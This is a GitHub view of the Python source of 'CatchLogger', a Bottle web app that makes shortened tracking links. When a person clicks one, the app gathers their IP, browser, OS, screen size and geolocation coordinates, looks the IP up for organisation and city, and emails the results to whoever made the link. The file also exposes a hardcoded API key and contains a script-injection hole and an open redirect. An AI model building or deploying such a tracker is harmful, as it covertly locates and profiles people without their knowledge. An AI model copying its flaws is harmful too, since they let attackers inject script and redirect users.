Repository navigation
Expand file tree
/
Copy pathapp.py
More file actions
176 lines (134 loc) · 4.4 KB
/
Copy pathapp.py
File metadata and controls
176 lines (134 loc) · 4.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
import os
import json
import mail
import requests
from bottle import *
#===============RETURN FILES===============
def page_file(root, filename):
return static_file(filename, root=root)
def html(filename):
filename += ".html"
return static_file(filename, root="./html/")
#================SYSTEM FUNCS==============
def shorten(link):
url = "https://www.googleapis.com/urlshortener/v1/url?key=AIzaSyAKytZN_unLk1FNtcISeYoWIcm2d8jSPXU"
header = {'Content-Type': 'application/json'}
r = requests.post(url, json={"longUrl": link}, headers=header)
r = json.loads(r.text)
r = r["id"]
return r
def send_simple_message(text, adr):
return requests.post(
"https://api.mailgun.net/v3/%s/messages" % os.environ['MAILGUN_DOMAIN'],
auth=("api", os.environ['MAILGUN_API_KEY']),
data={"from": "CatchLogger NoReply <catchlogger@jkdev.ru>",
"to": [adr],
"subject": "CatchLogger Results",
"html": text})
#===================BODY====================
@get("/")
def man():
return html("index")
@get("/spasibi")
def faq():
return html("spasibi")
@get("/login")
def login():
return html("login")
#-------------------SYSTEM------------------
# Creating link
@post("/createlink/<method>")
def prcss(method):
rq = request.forms
howto = rq.get("howto")
if method == "email":
link_addr = rq.get("link_addr")
email = rq.get("email")
link = "http://cl.jkdev.ru/link?whereto=%s&email=%s&method=%s" % (link_addr, email, method)
return shorten(link)
# Getting userInfo by link
@get("/link")
def redir():
rq = request.query
return template("catch.html", whereto=rq['whereto'], method=rq['method'], email=rq['email'])
# Getting info, forming and sending email
@get("/get_info")
def obr():
adr = request.query.email
ip = (request.environ.get('HTTP_X_FORWARDED_FOR') or request.environ.get('REMOTE_ADDR'))
print(ip)
d = {}
info = list("browser, language, OS, navbrser, navos, h, w, location_info".split(", "))
for i in info:
d[i] = request.query[i]
print("i: "+i+" -- "+d[i])
coords = list(d['location_info'].split("|"))
try:
d['lat'] = coords[0]
d['long'] = coords[1]
d['rad'] = coords[2]
except TypeError:
d['lat'] = 'undefined'
d['long'] = 'undefined'
d['rad'] = "Okay"
APIipADDR = "http://ip-api.com/json/"+ip
ip_dic = json.loads(requests.get(APIipADDR).text)
text = mail.text % (d['browser'], d['language'], d['OS'], d['navbrser'], d['navos'], d['h'], d['w'], d['lat'], d['long'], d['rad'], d['lat'], d['long'], d['rad'], ip, ip_dic["org"], ip_dic["regionName"], ip_dic["city"])
send_simple_message(text, adr)
print("SENT MAIL TO " + str(adr))
# RETURNING LOCATION MAP (email link)
# needs to be improved - USE TEMPLATES, don't read files with js!!!
@get("/locvar_access")
def lcvr():
lat = request.query['lat']
lng = request.query['lng']
rad = request.query['rad']
locvar = open("locvar_storage.js", 'w')
towrite = """var get_lat = %s
var get_lng = %s
var get_rad = %s""" % (lat, lng, rad)
locvar.write(towrite)
locvar.close()
return static_file("circler.html", root='.')
@get("/sendnow")
def s():
send_simple_message("test", "andtun@yandex.ru")
# =========================FOR BEAUTY==========================
@route("/<root>/<filename>")
def f(root, filename):
return page_file(root, filename)
@route("/css/font-awesome/css/font-awesome.min.css")
def font():
return static_file("font-awesome.min.css", root="./css/font-awesome/css/")
@route("/images/logo.png")
def logo():
return static_file("Logo.png", root='./images/')
@route("/locvar_storage.js")
def locvar():
return static_file("locvar_storage.js", root='.')
@get("/getXML.js")
def js():
return static_file("getXML.js", root="./js/")
@get("/browser.js")
def br():
return static_file("browser.js", root='./js/')
@error(404)
def fff(error):
return html("404")
@error(500)
def fff(error):
return html("500")
# -------------------------------------------------------------
#---------------
# test logger
@get("/catch")
def chk():
return html("catch")
#---------------
# If redirect not working
# !!!SHOULD STAY IN THE END!!!
@get("/<somewhere>")
def red(somewhere):
somewhere = "http://" + somewhere
redirect(somewhere)
run(host="0.0.0.0", port=os.environ.get('PORT', 5000), debug=True)